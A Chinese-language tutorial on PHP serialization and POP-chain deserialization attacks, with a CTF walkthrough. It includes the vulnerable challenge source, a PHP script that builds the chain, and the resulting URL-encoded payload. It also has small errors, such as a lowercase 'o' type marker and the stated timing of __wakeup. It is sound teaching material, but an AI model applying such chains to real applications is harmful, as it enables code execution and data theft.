PHP的序列化与反序列化
前言
序列化(Serialization)是将数据结构或对象状态转换为可存储或传输的格式的过程,而反序列化(Unserialization)则是将这个格式重新转换回原始数据结构的过程。
结构分析
$data = [
'name' => '张三',
'age' => 25,
'is_admin' => false
];
$serialized = serialize($data);
如上,当我们将PHP值转换为可存储的字符串表示形式时,会输出以下数据,这些数据又分别代表什么呢?
a:3:{s:4:"name";s:6:"张三";s:3:"age";i:25;s:8:"is_admin";b:0;}
PHP序列化字符串由类型标识符和值组成:
a
- array(数组)b
- boolean(布尔值)d
- double(浮点数)i
- integer(整数)o
- object(对象)s
- string(字符串)N
- null(空值)
例如,这些数据分别表示:
a:3
- 有3个元素的数组s:4:"name"
- 键是长度为4的字符串"name"s:6:"张三"
- 值是长度为6的字符串"张三"i:25
- 整数25b:0
- 布尔值false
常用的魔术方法
__construct(),类的构造函数,当对象被创建时调用
__destruct(),类的析构函数,当对象被销毁时调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),从不可访问的属性读取数据时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()前时,先会调用这个函数
__wakeup(),执行unserialize()前时,先会调用这个函数
__toString(),类被当成字符串时使用时被调用(echo file_exists)
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
构造POP链
介绍
POP链(Property-Oriented Programming Chain)是一种利用PHP对象序列化/反序列化机制的安全攻击技术,通过精心构造的对象属性链触发恶意行为。
POP链攻击是通过控制对象的属性(Property),将多个类的魔术方法(Magic Methods)串联起来,形成一条能够执行恶意代码的调用链。这种攻击不依赖单一漏洞,而是利用应用程序中现有的类和方法组合实现攻击目的。
技巧
在CTF比赛中,构造pop链一般可以从后往前构造链子,即从链尾推至链头,链头一般就是题目中要求传入的参数,链尾就需要自己去寻找了。
寻找方法:首先找到能够执行命令或包含flag文件的类,然后通关魔术方法进行构造。
实战
题目内容
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
解题步骤
1.根据类中的魔术方法构造POP链
这里链头就是w00m,链尾就是w44m类,不难发现。所以我们接下来需要找到能调用Getflag()函数的方法,再找到能调用这个方法的另一个方法,以此类推。
这里题目中有两个魔术方法,分别是
__destruct(),类的析构函数,当对象被销毁时调用
__toString(),类被当成字符串时使用时被调用(echo file_exists)
当我们调用w44m类时,会输出一个字符串,这时会触发__toString()魔术方法,而unserialize()执行后会触发__destruct()方法,至此链子构造完成
2.检查题目中是否存在共有属性外的属性类型
这里,题目中就存在保护和私有属性,需要采用内部赋值,就是直接在类中修改对象的值,而共有属性的对象在外部即可赋值
3.源码修改整理
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
?>
- 首先,将源码复制到php环境中,进行初步的修改和整理,删除掉类中的函数,只保留对象
- 通过代码审计将第一个类的对象的值修改成可以通过过滤。
这里由于存在私有和保护对象,所以在输出序列化后还应该使用url编码,这是因为私有和保护属性的对象在序列化后会有非打印字符,如果不使用url编码,将序列化内容反序列化后并不能得到原有的数据。
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w22m();
$b = new w33m();
$c = new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>
输出payload即可
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
结语
本文只是用最基础的pop链构造问题进行讲解,还有更有难度的pop构造问题,要想彻底掌握这一技巧需要刷题巩固。除此之外,还有其他与之相关的技巧,字符串逃逸、通过修改属性的个数来绕过__wakeup()方法等等,以后会分享到。
共勉。